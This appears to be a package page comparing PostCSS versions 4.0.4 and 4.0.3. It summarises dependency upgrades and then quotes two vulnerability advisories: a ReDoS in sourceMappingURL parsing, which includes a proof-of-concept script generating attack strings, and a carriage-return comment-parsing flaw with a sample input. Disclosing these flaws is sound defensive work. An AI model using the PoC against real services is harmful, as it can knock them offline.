PostCSS versions 4.0.4 and 4.0.3 are minor releases in the evolution of this JavaScript tool for transforming CSS with plugins. Both share a common core, relying on dependencies like 'js-base64' and 'source-map', essential for handling base64 encoding and source map generation, respectively. Developers using PostCSS leverage these features to enhance their CSS workflow with diverse plugins for tasks like autoprefixing, future CSS syntax, and optimization.
However, subtle differences exist in their development dependencies, indicating updates and potential enhancements in the build and testing environment. Version 4.0.4 sees upgrades in tools like '6to5' (now Babel), 'chai', 'gulp', 'less', 'cssnext', 'request', 'fs-extra', and 'stylecow' reflecting ongoing efforts to stay current with the rapidly evolving JavaScript ecosystem. Gonzales-pe a CSS parser, also got an upgrade. These updates likely bring performance improvements, bug fixes, and compatibility with newer language features and standards.
For developers, upgrading from 4.0.3 to 4.0.4 promises a smoother development experience, potentially faster build times, and access to the latest features supported by these crucial development tools. The updates in testing frameworks such as 'chai' suggest improved reliability and accuracy in testing PostCSS plugins, ensuring better overall quality and stability for end-users.
All the vulnerabilities related to the version 4.0.4 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r
discrepancies, as demonstrated by @font-face{ font:(\r/*);}
in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.